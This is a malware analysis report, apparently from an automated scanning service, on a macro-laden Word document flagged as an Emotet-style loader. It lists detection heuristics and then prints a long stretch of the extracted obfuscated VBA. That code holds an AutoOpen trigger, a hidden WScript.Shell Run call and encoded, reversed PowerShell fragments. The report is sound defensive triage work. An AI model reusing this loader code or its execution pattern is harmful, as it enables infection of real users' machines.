MALICIOUS
330
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting the macros are designed to execute arbitrary code. The presence of a Shell() call further supports the intent to run external commands, likely for downloading and executing a secondary payload. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' also points to a known malware loader.
Heuristics 11
-
ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
End Select iMiJnsjHIUz = "WScript.Shell" Select Case NZCmYp -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select CreateObject(iMiJnsjHIUz).Run jrErQpVPcsMIh + Chr(VBA.vbKeyC) + cTBUOhlq + fIRTifoAtPk + NijZimNaDmVZ, vbHide Select Case YGWkYZ -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "vTViSkuT" Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 60362 bytes |
SHA-256: eb33d3c4a89333baf614051b89804c5b03cd78ff80db746de7fd082ce64f4e72 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
713 of 1227 identifiers look randomly generated (e.g. 'AAkBgYAgDAlBAOAkDA5AgYAUGAmBwYAgDAiBAOAQ') — consistent with name-mangling obfuscation. Carved artifact contains 20 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "oZBrZRoMX"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "pqaivbiBnMB"
Function VVvAbUYhRzWLA()
On Error Resume Next
Select Case FNlzB
Case 23581
BWwGiS = ChrB(mqEHSP)
jQCCo = hfwwXz
Case 37151
UrKlz = Rnd(OdALG)
HEdKiR = Cos(LWwjuN)
End Select
iidwR = UWZAX("27gZAADAwAgZAEGAmBgYAEGA2AgYAUDAkBQMAcDA1AwNAMGA4AAMAQGAhBwNAUGAlBAOAYGAhBgYAMGAiBQMAgDA4AQNAIGA4AwNAADA4AAY1hu", 5 + 0, 105 + 0)
Select Case GVYAj
Case 59906
KRzuVT = ChrB(tFPrw)
ldBnP = BIvYH
Case 29605
fCsEA = Rnd(bizniP)
wrRRj = Cos(wDhcUk)
End Select
Select Case lvXZNZ
Case 75956
zDncIj = ChrB(dnzrJ)
oWHoj = IFjop
Case 20390
zdwaX = Rnd(oailrz)
TvtEI = Cos(bRwYP)
End Select
tXDzAsfwzMi = UWZAX("@PKZYlwNAIDA2AwMAUDAyAAOAMjGf", 4 + 0, 20 + 0)
Select Case dIfiQP
Case 94582
kjvhM = ChrB(PUvJkQ)
LwMLcf = iGAEjp
Case 86699
JrNVu = Rnd(ojAMrh)
GVmozw = Cos(JSWok)
End Select
Select Case zAjSW
Case 81141
EfPlz = ChrB(zRrQf)
qstKbi = wqhhh
Case 3535
poQbaw = Rnd(RYaVil)
iVPwh = Cos(wWDpE)
End Select
MEiTpwHm = UWZAX("U5uIn54awbAYFAzAAbAMEAyAQbA8EA1AQaAMEA3AwdAYGA8BgM5435a05061b3143240f3476111d29467'($(iSnAcollALabOlgOtGnIrtSEruCES::]LahSrAM.SeCIvReSPoRetNi.emitnUR[(iSNagNIRTSOtRtp::]LAHSrAm.5uIn54aecIvRESPOretNi.emiTnur[ ( ()'OlB", 4 + 0, 198 + 0)
Select Case DuMWzh
Case 68753
iKBQq = ChrB(wYUSpt)
PRURlA = jTlaWq
Case 90154
EBdnwW = Rnd(TUzFA)
ZBkALm = Cos(csFLhE)
End Select
Select Case DiFctr
Case 19155
UJlYvU = ChrB(UuVLi)
zNWCRb = YmYGv
Case 29628
KTXqD = Rnd(EnMmX)
QEjLs = Cos(EEGVi)
End Select
EjvXGupCRd = UWZAX("cno@gDAlBwYAUGAmBAOAEGAjBQNAMGAyAQOAADAkBQOAMDAiBAMAIGAiBgYAADA4AANAIDA5AwYAADAjBwYAYGAjBgYAIGA4AgZAIGA2AwNAUGAlBQZAUGA2AQMAADAmBQMAMGAmBQOAYDA2AQOAQGAxAgMAgDAiBQZAUDA0AwYAMGAjBAMAUGAmBQMAYDAxAQOAUGApUE7", 5 + 0, 195 + 0)
Select Case bPnMh
Case 70833
dfBMBW = ChrB(HMaKAk)
NLRpbj = qLMokw
Case 28006
hsGbGt = Rnd(OrioN)
rdwUw = Cos(OEWXFE)
End Select
Select Case FpWUA
Case 75477
XZRtZb = ChrB(EilST)
zQnvh = sipsK
Case 59672
kqavRA = Rnd(BCdMb)
KFITRr = Cos(UYpCb)
End Select
iLbHvGP = UWZAX("o8j9SA2AQNAEDA0AQNAEDAzAQMAkDA2AQOAcDA2AgNAUDA4AwYAMGAyAAZAMDAwAAMAgDAhBQMAIGA5AQYAQGAwAgNAIDAwAAMAQDAyAgMAEDA4AQYAQGAwAQZAQDAlBwMAIGA4AgZAkDA0AwNAYGAmBQYAEGA2AwYAYDAxA8", 2 + 0, 163 + 0)
Select Case zvEhjG
Case 28364
qXdnTR = ChrB(PzmaU)
qmZVbT = VLBYT
Case 57430
EzUzG = Rnd(HTiij)
ZrFbCc = Cos(zIIiM)
End Select
Select Case Wkwdlm
Case 76132
SGrjl = ChrB(Zzzsp)
DwkLo = PHJZCM
Case 24138
EITTJk = Rnd(vqRaO)
jaqrqC = Cos(ZXzno)
End Select
lwupBvbdJwi = UWZAX("YfAgYAcDAhBwNAUGA2AAMAUDAl.I.L", 6 + 0, 23 + 0)
Select Case WfCsE
Case 60250
sLRfd = ChrB(FtHHTk)
ujhSi = KFShI
Case 62447
BNqtwM = Rnd(rqUILN)
wMSQj = Cos(PMmwj)
End Select
Select Case ZYuGfJ
Case 68721
JCRhjD = ChrB(iAjTB)
bSsifn = AnmzZT
Case 95628
hiIzp = Rnd(EiDCMM)
VTGwGw = Cos(GCbAWm)
End Select
RiTrNqs = UWZAX("hV0o5AQYAkDAmBQOAYGA1AgNAIDAzAQYAgDAyAwMAQDA2AQZAIGAlBwYAUGAkBANAMDAyAg@q", 3 + 0, 67 + 0)
Select Case VQTHMG
Case 31476
SXWMN = ChrB(nobSa)
iTfAT = zufGI
Case 51556
jiOju = Rnd(GiUBia)
kbSOAh = Cos(kRBkTo)
End Select
Select Case vnfliH
Case 75177
EFIzp = ChrB(qBSPu)
dOsnfz = sDHww
Case 13402
zbbwK = Rnd(ScLmIK)
QjJCA = Cos(szjvs)
End Select
FZhSzRQaTY = UWZAX("39cPAyAQNAMDA0AQZ,Hw", 4 + 0, 13 + 0)
Select Case lmuIz
Case 18303
qfaPZ = ChrB(FzRAD)
fUrEJ = FwfOKQ
Case 62772
pYKYUO = Rnd(wUapUj)
vSawdo = Cos(lthlN)
End Select
Select Case YmiGt
Case 94126
rSBJrD = ChrB(CwEwG)
YXNTbt = uNiRi
Case 85398
uakhPb = Rnd(dKzBP)
NMTCO = Cos(IsBYOf)
End Select
NiVBlWs = UWZAX(".8QFIDA4AQMAEDAyAQZAMDAhBANAUGA3AgNAYGATo", 3 + 0, 35 + 0)
Select Case Ynioja
Case 97699
JbNWh = ChrB(nvNNSL)
KhtbD = kttBV
Case 5705
CTzWP = Rnd(QDEkFj)
zUwnLw = Cos(bOFkM)
End Select
Select Case cUMid
Case 9262
sYtDD = ChrB(avcndu)
NzTdP = XXiEXj
Case 60008
HzXtM = Rnd(Pqprq)
nLdGSL = Cos(dwcAi)
End Select
IPRDHQnhN = UWZAX("Lz6iNAgDAhBQZAMGAiBQNAUGA1AQOAMDAwAwMAEGA5AwMAcDAiBgMAEDAyAQYAMDAhBQYAIGAiBgYAUDAlBgZAEGA0AgZAYDAwAQMAEDA3AwMAcDA3AgYAMDAzAgYAkDAxAwNAYGAmBQOAMDMW", 3 + 0, 140 + 0)
Select Case lhuJU
Case 43592
YdSwF = ChrB(QtDXKc)
cELtcm = OCDfw
Case 77537
aTUjUU = Rnd(OJsfB)
vaZZR = Cos(vqhWB)
End Select
Select Case KLolum
Case 15769
HGujt = ChrB(OAwnf)
LTHWcs = RjGbp
Case 3501
KjdIB = Rnd(VLcrji)
mkzXYh = Cos(fqERJC)
End Select
KPhAMlT = UWZAX("NFPw8kMAQNAIDA4AQZAgDA3AQYAEGAiBgNAcDAxAQMAEGAzAQZAgDA4AgYAQGAzAwYAkDAhBQOAUDAxAANAQDA2AwYAkDAwAAMAEDAlBQZAgDA1AgZAgDA3AQMAADAxAgYAMDAiBwMAcDAhBgMAgDA4AAZAEDAjBAOAIDAxAANAYDAwAgYAQDAmBAOAEDAmBwNAUDAz", 2 + 0, 191 + 0)
Select Case qjBfF
Case 59083
HiXpls = ChrB(zqQntu)
hhiCHQ = TiLzzY
Case 59130
bLiDTf = Rnd(bhnpH)
AodPHi = Cos(zSczO)
End Select
Select Case wzsiG
Case 25243
KVmkq = ChrB(AiiVw)
mIviUc = rYjLN
Case 11492
wjGwm = Rnd(QujEr)
RzcSS = Cos(YBXFAV)
End Select
BNDtdwP = UWZAX(".07RlfBQYAUDAlBwNAUGA2AAMAUGAkBgYAcDA0A0K", 3 + 0, 33 + 0)
Select Case FqVnd
Case 18615
ihYQc = ChrB(itWrZr)
PLSPFN = oEltj
Case 70714
hMvHF = Rnd(RbkYLq)
JffffJ = Cos(JuYFhQ)
End Select
Select Case ZRHDJU
Case 21904
NnvUJ = ChrB(IEYDzz)
XIisFS = fUaiff
Case 55392
ccThdN = Rnd(CwujwB)
TknnVC = Cos(dKEBa)
End Select
tcKbiLnO = UWZAX("EuMiJYAYDA5AAZAEGA1AgMAUGAjBAMAQDA1AgmjiJ", 5 + 0, 32 + 0)
Select Case sNNod
Case 19699
bvkSW = ChrB(dGjzW)
jEBpu = KarwSP
Case 59930
qBokG = Rnd(orzXA)
QEZCz = Cos(hiqSq)
End Select
Select Case IrdaEE
Case 97920
PuOKzj = ChrB(raWzu)
srrbf = Yoqcjd
Case 55835
CpmiYd = Rnd(YwrsUU)
pBEUp = Cos(PzmwZ)
End Select
iswjkFp = UWZAX("F%XWEw) ) ) ) )922,851,06,821,76,151,54,59,89,252,911,7816AI", 4 + 0, 51 + 0)
Select Case auYRh
Case 62588
EVBos = ChrB(RjTvz)
KOSzpY = oPLDD
Case 75336
DCuzi = Rnd(MzQko)
MvYhw = Cos(mPOGH)
End Select
Select Case SnpGn
Case 77557
VinpV = ChrB(IEirX)
wKjcBp = WGupm
Case 64637
QouPW = Rnd(oGLzIj)
YvbTMt = Cos(SJlKoQ)
End Select
lQYAFZ = UWZAX("wiG8vMAUGAzAANAMGA0AgYAYDAmBgYAcDA0AQMI7", 3 + 0, 33 + 0)
Select Case RGbpBH
Case 25194
UJSUnG = ChrB(zhUSri)
iadsCp = DjbGD
Case 43879
kJGbla = Rnd(RBrGYa)
DqVZw = Cos(cAMIFX)
End Select
Select Case bNPoH
Case 14062
cvFlu = ChrB(auqkL)
GNKcQ = uOQFm
Case 51755
zPIUQP = Rnd(YCnZm)
tKnOZE = Cos(iNDRk)
End Select
miXSblVda = UWZAX("i9p0ktAOAQGAlBQNAQDAmBQMAQDAhBQMAgDA0AQOAIGA5AgMAIGA3AAMAIDAjBQNAEGAjBgNAUDA4AQMAMGAzAwMAMGAkBgNAADAwAAOAMDAwAAMAADAjBQZAIGA2AgYAUGAmBgfF", 3 + 0, 129 + 0)
Select Case lNtGWJ
Case 58711
wuRZaV = ChrB(sDalqc)
kaBfh = OkMrj
Case 33174
BivQPH = Rnd(zPWowi)
qJdju = Cos(bcTEq)
End Select
Select Case rHFvZ
Case 29636
cBmQwz = ChrB(KpUwh)
zaADZk = iLmmTH
Case 56173
VnHMj = Rnd(YMDHF)
TWLld = Cos(bRRHB)
End Select
FYXKuRm = UWZAX("MFiw.AQZAYDAjBQNAYDA4AQMAIGAzAQYAIGAjBAOAYDA5AgYAADAyAAMAQGA2AgNAUDA0AANAkDAjBwYAMDAzAgYAUDA4AgMAMGAxAwYAkDA2q%.", 4 + 0, 104 + 0)
Select Case pfVQP
Case 99595
oVwpBM = ChrB(zPYNzv)
RQHAB = NfMAN
Case 73084
XEvHzD = Rnd(QwVjJ)
rIMsD = Cos(FBXPN)
End Select
Select Case Wwino
Case 50321
ImLlzU = ChrB(UwovRz)
fJGQM = CIkLC
Case 35845
PZGlrQ = Rnd(rmYFOi)
EjsNil = Cos(roYXbS)
End Select
iONjdfGdfID = UWZAX("La KQMAYGAwAQNAkDA5AQYAUGA4AQNAUGA2AQMAUGAlBgYAgDAkBAZAIDAwAQNAMGAkBwNAgDA2AgYAEDAhBAMAQDA0AQMAQGAkBgYAUDAhBwNAUDAjBQOAYGAyAAOAQDA2AgZAgDAmBAOAkDA1AQMAIDA0AgZAQQd78", 5 + 0, 156 + 0)
Select Case zBzijW
Case 62899
sCEAAj = ChrB(lABdRw)
szYjzY = iNPzGr
Case 70814
XiLIJ = Rnd(pIdlRw)
XWwAs = Cos(JBJzW)
End Select
Select Case mJDVU
Case 6638
jsPok = ChrB(KjVKw)
AQbiCu = MGJBf
Case 35002
iRaDq = Rnd(AizjkJ)
CUlLiR = Cos(csKiB)
End Select
NmFOUJJwd = UWZAX("8%jHEHzDAjBAMAcw", 2 + 0, 8 + 0)
Select Case ArzZrk
Case 42923
VtJSUD = ChrB(SRvusG)
rVwXO = bqGvC
Case 30439
JiapAn = Rnd(jbctK)
dJbPk = Cos(Ujzib)
End Select
Select Case wjbdcH
Case 91261
qfhVq = ChrB(LZTcOJ)
NlrMG = GzvsYa
Case 49421
OIHtz = Rnd(CzkPh)
hmjLOW = Cos(clwkQ)
End Select
DoPGwMmVBj = UWZAX(".d@5uIn54a1QYAADA4AQOAUDA0AwMAIGAyAgZAMGA1AgMAEGAzAQOAUGAzA7", 2 + 0, 48 + 0)
Select Case KoZun
Case 16032
RFwRLj = ChrB(jzPAb)
aPUQkd = UzlQY
Case 82471
okdCz = Rnd(mOcpS)
fHWiVz = Cos(luuUI)
End Select
Select Case ZFdOZ
Case 15651
YcNun = ChrB(KSaqjt)
uwQlB = LmdUKQ
Case 52726
lTjwD = Rnd(wqAAns)
oCqcz = Cos(bbdpr)
End Select
HciLXtsGl = UWZAX("5uIn54azcdQOAUGA4AAMAkDA1r8", 3 + 0, 15 + 0)
Select Case jwVuH
Case 5792
MFZzrt = ChrB(zHEvPw)
hWjnr = rztId
Case 84819
Uwavsz = Rnd(fCPDw)
QYTXha = Cos(DBalHP)
End Select
Select Case pJwoi
Case 84437
tHvuuH = ChrB(DjUWQE)
wHQzzL = utFAoP
Case 62215
GiYAV = Rnd(iuXFVz)
IACsMX = Cos(BiokjJ)
End Select
KwhIh = UWZAX("8AZWuMDA4AAMAIDAkBQj", 2 + 0, 13 + 0)
Select Case OpuFrQ
Case 89247
pwPiAP = ChrB(stcNK)
sDHcsp = YqnTL
Case 77334
FdAdh = Rnd(iLEddW)
opvHSz = Cos(Wmmdw)
End Select
Select Case jlItW
Case 28660
XJiirB = ChrB(cCHPnw)
hsBioM = WTjLmS
Case 55348
OKHfUM = Rnd(KpfSfC)
OpJvjB = Cos(HPiCwB)
End Select
lBZhnNpklw = UWZAX("JKbjBwNAMDAkBANAkDAmBQNAUDA3AANAgDA2AwYAMGA1AgZAADAzAgNAkDAwAAMAgDA13QXzwl", 7 + 0, 65 + 0)
Select Case uXFjRu
Case 77772
HHbOth = ChrB(zWjqq)
uBrib = GvZcYL
Case 96072
SZjNH = Rnd(ShCTVH)
vPLVG = Cos(lAWOA)
End Select
Select Case HhIppE
Case 89458
LcZUuz = ChrB(nzjzf)
ctEcU = rWjbu
Case 70049
PwNiiS = Rnd(MXZYtJ)
IBWfca = Cos(fnENUz)
End Select
tUUka = UWZAX("FtwYDAxAAOAIGAjBgYAEGA0AgNAEDA1AQNAYGA0AAMAUDAlBQMAIGA1AgNAIDAjBgZAcDAyAQNAUGA0AgYAQGAiBwMAYGAiBAOAYGAmBgYAQDA0AAMAADA2AANhJV", 4 + 0, 119 + 0)
Select Case SfBfk
Case 1442
aZSCjp = ChrB(EUjiK)
iUKvR = SkJJQ
Case 18338
ntsXt = Rnd(JMhcD)
vlWaSX = Cos(KqVzVF)
End Select
Select Case kkhFjn
Case 78182
uVBjpi = ChrB(rIdojo)
qhlrz = uarcOi
Case 18445
XJHDOz = Rnd(FckDCn)
fBTKm = Cos(tATpq)
End Select
zwOQXzH = UWZAX("v7RG9AlBQZAcDAjBQMAEDAhBAZAgDAlBQMAYGAlBQYAQGAzAwNAQDA4AAMAcDA2AgZAcDAwAAOAEGA1AgNAYGAkBQNAEDA0AAMAwHA9AQPAEEA5AQQA4EAOBgQAYDAMBwYwci", 5 + 0, 124 + 0)
Select Case sUdZRH
Case 47940
UzVkS = ChrB(ZkEBnu)
VuqIE = uqXpSM
Case 46679
abDTw = Rnd(aDjfjs)
pJvSBv = Cos(WanRMK)
End Select
Select Case jOhjl
Case 9934
ChnLtF = ChrB(ZPkkp)
zWrij = GMLsW
Case 87867
ojKGpB = Rnd(UzNLKV)
fsRbG = Cos(HNKXCz)
End Select
tnbZWFspYHI = UWZAX("@1Z'nIOJ-]52,42,4[cEp5uIn54amOC:vNe$ (. 2LUt0", 6 + 0, 31 + 0)
Select Case waqpQR
Case 25502
tPIui = ChrB(lCIfU)
nbTtQ = zYbWm
Case 7841
ZjuGYv = Rnd(IFmdIh)
mWKBs = Cos(ppWGzY)
End Select
Select Case QaohGf
Case 98785
BDmON = ChrB(fWzLnX)
rNTUZn = bcjSG
Case 8913
GciibE = Rnd(XwvUp)
fhoZCd = Cos(ZMUMh)
End Select
XvPVNhAO = UWZAX("jfq j3EMkBAMAgDA2AAZAkDAxAANAMDA0AQYAIDAiBAZAkDAmBANAMDAzAQNAcDA2AgYAMGA0AQYAMDA1AwYAgDA1AQNAEDAiBAZAIDA2AwNAEDAlBwYAMGA3AQYAcDAmf", 2 + 0, 121 + 0)
Select Case wvYXUI
Case 17371
ZtScLS = ChrB(UPYAj)
XunHPd = RtHSB
Case 69064
UwaaM = Rnd(LGnWwr)
kEzwM = Cos(CZBlPF)
End Select
Select Case qHQffn
Case 25011
JKbYtG = ChrB(Unkrba)
WaJYfW = RlRpX
Case 27244
wHbwN = Rnd(NjzFQ)
nloBw = Cos(VtkqVH)
End Select
oiHRRCXsqJ = UWZAX("GvSLA5AgYAYGA0AgYAgDAkBQZAIGAyAQZAgDA4AQMAUGA5AAOAEGA1AgNAYDAwAwMAkDAmBANAIGAlBQYAgDAxAQOAgDAjBwMAMGAwAQZAYDA5AQZAEGAjBgZAUDA0AANAMGAkBwYAYGAlBgNAQDAzAQNAw%DMr", 6 + 0, 150 + 0)
Select Case qOrYK
Case 66347
sPYfI = ChrB(NMjnbD)
Jihdj = LBUoG
Case 73061
oWzWK = Rnd(XtiYNI)
CPJKzO = Cos(zzHjO)
End Select
Select Case ijXSF
Case 25205
TavuN = ChrB(pkjzC)
NlEwwj = pLJDhz
Case 26400
qksJo = Rnd(iXGudz)
PCmZs = Cos(Idinb)
End Select
UvjqzCP = UWZAX("iojL,741,991,831,5,271 yEK- GNIRTSERUceS-otTREvNOc |'==AAkBgYAgDAlBAOAkDA5AgYAUGAmBwYAgDAiBAOAQGAlBgZAEGAzAAMAMDAlBQNAMD5uIn54aJpJO", 6 + 0, 118 + 0)
Select Case RYMJWN
Case 90910
JwznnO = ChrB(iOwCSk)
ZIXdpc = hMzQb
Case 43760
WOjjh = Rnd(uRCwm)
XdPflI = Cos(jwDmsY)
End Select
Select Case WcGwQY
Case 20499
BRwkP = ChrB(fUNpvA)
JaKNsk = frsDBk
Case 39823
rRkoD = Rnd(HntiS)
cVJiR = Cos(rNCvi)
End Select
DsqZltOHnDH = UWZAX("LZIEdlQYAEGAhBQOAkDAyAgMAEDAkBgYAEGA3AgYAIDA0AwNAQGAiBwNAADA1AwMAIGAjBQOAYDA3AQZAYDAzAgZAEDA5AwYAUGA2AwMAkDAmBgZAIGAjBQZAUG.K", 3 + 0, 117 + 0)
Select Case oYbJY
Case 87895
fdRdvF = ChrB(zaBmR)
ZhIKhJ = jsHLvj
Case 22232
ilwOz = Rnd(nZLrOc)
XRMPi = Cos(zHPQcP)
End Select
Select Case qJSzZ
Case 9748
lFEXzt = ChrB(WNRMBp)
wsYApA = bSmRb
Case 91766
ppiGnM = Rnd(DMFiUI)
TGNtvc = Cos(QuwjEq)
End Select
zvDKotFBs = UWZAX("aJzwAA4AQYAYDA3AwYAcDA3AgNAIGA4AAMAgDAhBAMAQDA0AAOAUDAlBANAADA2AQZAADAmBAZAUGAhBwYAkDA0AwYAkDAxAQNAEDA5uIn54a4", 3 + 0, 97 + 0)
Select Case nRGXz
Case 38114
YjFOcl = ChrB(jSSVrL)
LYYfT = ZukWiW
Case 61246
uwKWo = Rnd(uXIfT)
BjbjOM = Cos(Bbtiri)
End Select
Select Case HqKftM
Case 13352
BYboqz = ChrB(FczpwI)
OEkHIz = XmvfJz
Case 53705
QfzHk = Rnd(LcARDv)
nqDBjV = Cos(FumEHB)
End Select
rHhsO = UWZAX("ZQRAZAYDAzAgMAUGAzAgMAADA1AwNAkDAxAQMAUGAjBwNAADA4AwMAUGAiBAZAUGAwAgZAgDAzAAZAIGA4AgMAkDA4AQNAUDAxAgNAQGAmBgMAADAjBwNAEDAxAgZAQDA4AQNAQDAmBgZAYGA2AAOAUDAzAQYAUDAkBQOAADAiBwYAEDAhBQYAYDA4Aai", 3 + 0, 183 + 0)
Select Case mfIhzO
Case 10021
TsqYz = ChrB(ckqFD)
jvsdZb = uVttzj
Case 16623
wrkDh = Rnd(cWKKKW)
dKwzE = Cos(uqniH)
End Select
Select Case iTsHw
Case 24765
bPDBiM = ChrB(hGTFYM)
zbmMb = DRqjMA
Case 87443
amVJi = Rnd(AjSiv)
ZDOIQ = Cos(jWirGv)
End Select
CBzUU = UWZAX("O0uU7iAMDAiBwMAMDAwAAOAkDAhBgYAYDA5AgZAQGA3AgMAUDA1AgYAEGAiBgNAADAmBQNAYDAiBwMAEGAzAwYAEGA4AgMAIGAwAQNAQDA3AAZAQDAyAgYAEDA3AwNAcDAhBQYAADAjBgMAEGAhBAMAADA1AwMAMGAjBgZAEDA4A1aB", 4 + 0, 166 + 0)
Select Case hnKZT
Case 78952
SSHUzw = ChrB(vCSJHQ)
FAChT = TXjjja
Case 77408
dpHwp = Rnd(rGwuK)
llTLh = Cos(iDbnIr)
End Select
Select Case AjpCQz
Case 40800
AWGwFj = ChrB(wjRDDA)
MnhpZ = JATzz
Case 7267
kKCQuv = Rnd(GEQTXz)
OzpaZf = Cos(XBUaX)
End Select
rlVpiSwTZ = UWZAX("%EiOGAhBwYAgDAhBQNAIGA0AgYAQGAmBAOAQDA3AAOAADAiBwYAUDA1AQNAcDAxAgYAQDAzAQNAMDwf", 3 + 0, 73 + 0)
Select Case VzCHz
Case 3717
MniBJI = ChrB(tHWOS)
FuBiZ = YzNIh
Case 80046
iWHCJ = Rnd(VTmbU)
QRWHPf = Cos(IzLbw)
End Select
Select Case RXnKM
Case 42358
anrwEi = ChrB(wmuBz)
iurij = GVOkJ
Case 35947
zJSNrJ = Rnd(jjCli)
LnZscG = Cos(PoXfF)
End Select
woTdjcLniJu = UWZAX("U 0hnrAgMAUDAmBwNAIGA1AAOAUGAiBAMAYDA2AQMAkDAwAQMAADAzAQZAIGAlBQNAADAmBQMAYDAlBAMAUGA2AQOAkDA4AQNAQGAwAgYAYDAjBQOAMDA5AQMAIGAxAANAgDAiBAOAIDAiBQZAEDAmBAMAMDA3AgYAgDAyAgYAUDAwAgNAnuz", 4 + 0, 172 + 0)
Select Case sPLMCi
Case 58030
kIdYD = ChrB(pivrFE)
ITwVI = BdIlm
Case 16431
RsUWz = Rnd(AUafv)
ZObhs = Cos(ZBXjwP)
End Select
Select Case zwvcvR
Case 80341
Einrr = ChrB(dVzlsY)
ruiLaC = RqTiQq
Case 26125
GKRwpw = Rnd(OMQCqC)
wzlYC = Cos(EQQUP)
End Select
SVhpdbLjtK = UWZAX("MzA3AQZAYDA2AgYAQDA1AgZAUGAyAgZAEGAyAgYAQGAmBwMAgDAmBAOAEDA4AgNAEDAwAwYAQDA0AwNAgDAzAwNAQDA1AgYAYDA5AAZAUGA1AwYAIDAwAgZAJz6q", 5 + 0, 118 + 0)
Select Case tOLIaA
Case 64524
PoUujz = ChrB(fRuYL)
GrWtso = pptwj
Case 81397
bDEpB = Rnd(SvKdr)
FDYwWw = Cos(JmXpP)
End Select
Select Case pSoVIX
Case 56252
GGads = ChrB(NSbbNQ)
oqjAim = iLSsj
Case 80920
XIrXFq = Rnd(bSzCU)
JvzWSC = Cos(BcHUZ)
End Select
ZzaSAM = UWZAX("lCN8AMGA3AQZAcDA3AgYAMDAlBQOAEGA4AgMAYDA2AgMAcDA4AgNAUDAxAAZAIGA1AQMAQGAzAgYAUGAlBgYAgDAjBANAcDAxAgYAYGA5AAMAIDA2AwYAUGAmBAZAIDAmBAMAMGA3AwNAYDA5AAMAgDA3AAMAYDA1AANAUDAyAQZAQGAyziwG", 5 + 0, 173 + 0)
Select Case Ylunhu
Case 5565
qKkDI = ChrB(oMXiw)
CwnOv = hpkvAW
Case 95131
SVhfQ = Rnd(RdSkM)
KcMoE = Cos(WLibw)
End Select
Select Case RFcCQt
Case 68933
miWVWd = ChrB(cXZRnS)
TtlrUE = iHwjVq
Case 86945
bzwXC = Rnd(aKszYY)
HfrIb = Cos(miRZZf)
End Select
zzCmIWVoM = UWZAX("cMkBwMAEDAxAAMAEGAxAQYAgDAiBgMAIGA2AwNAUDA3AQMAcDA1AwMAEGA1AQZAQGAyAQZAADAiBQYAQDAiBQMAYGAhBa08E", 5 + 0, 90 + 0)
Select Case HWZlBm
Case 97338
vbTPP = ChrB(sittvf)
XcEbtG = jKYZs
Case 34111
DkHwla = Rnd(LDYsL)
uzXfdz = Cos(juUJI)
End Select
Select Case iALdw
Case 67465
obXNn = ChrB(qbqjq)
QaTzYM = mmwnL
Case 12764
XIwwUf = Rnd(pqGQw)
UBKiU = Cos(qTjOC)
End Select
ihjVvVzzF = UWZAX("a8AgNAQGA1AgMAQGAzAQNAMDAlBANAUDA0Ago9CKw", 6 + 0, 34 + 0)
Select Case Qcwnrn
Case 22743
Ffics = ChrB(LcakM)
buCkcO = oQNrt
Case 92157
EDECw = Rnd(EqNoT)
pILOtv = Cos(WMWZL)
End Select
Select Case tQKaKz
Case 72134
fXsSwb = ChrB(qnKzI)
uZaXMo = OApiwI
Case 44213
wUdWGL = Rnd(LhMjFz)
GaLDC = Cos(rkCwLs)
End Select
KucNqZDhm = UWZAX("jf8QuWZAYDA1AgYAcDAhBwMAYDAjBQOAEGAyAANAQGAkBQOAIGAhBAZAIGA5AQMAw", 2 + 0, 57 + 0)
Select Case fiNTp
Case 8313
sSjcCY = ChrB(OsLjj)
LtOTuG = vOSfL
Case 28029
wcUsqA = Rnd(KotiB)
jdrqSb = Cos(KlTuZi)
End Select
Select Case CDjqpV
Case 56836
QnBfZ = ChrB(ODkqs)
PWYwfr = OVrAZF
Case 78309
VFqhh = Rnd(SjLfiJ)
DZipom = Cos(jinLw)
End Select
UVqjlUQ = UWZAX("oFuLMtm@,101,21,531,48,621,231,751h", 2 + 0, 26 + 0)
Select Case OoZmca
Case 70897
tztIL = ChrB(zqNQw)
uLvJLk = dYqSf
Case 66815
UiGYC = Rnd(YaJco)
dZNpRW = Cos(QlCsQ)
End Select
Select Case oMVcu
Case 76485
JzQMuA = ChrB(nbScOc)
aGNMmE = QcGCBX
Case 92288
UjjvG = Rnd(uKUzqc)
QVRIR = Cos(NGIPIi)
End Select
NdPzdwi = UWZAX("8v1AAZAUDAzAwMAkDAiBAZAEDAzAAZAkDAkBQZAU0ru4", 5 + 0, 38 + 0)
Select Case tWKKs
Case 55903
mGjtSV = ChrB(jvsNvc)
AGoujw = uMUaMC
Case 9300
AKGNz = Rnd(JmYpw)
hKPCMG = Cos(tPVPJ)
End Select
Select Case VLndV
Case 30318
jdlJL = ChrB(kcUGQ)
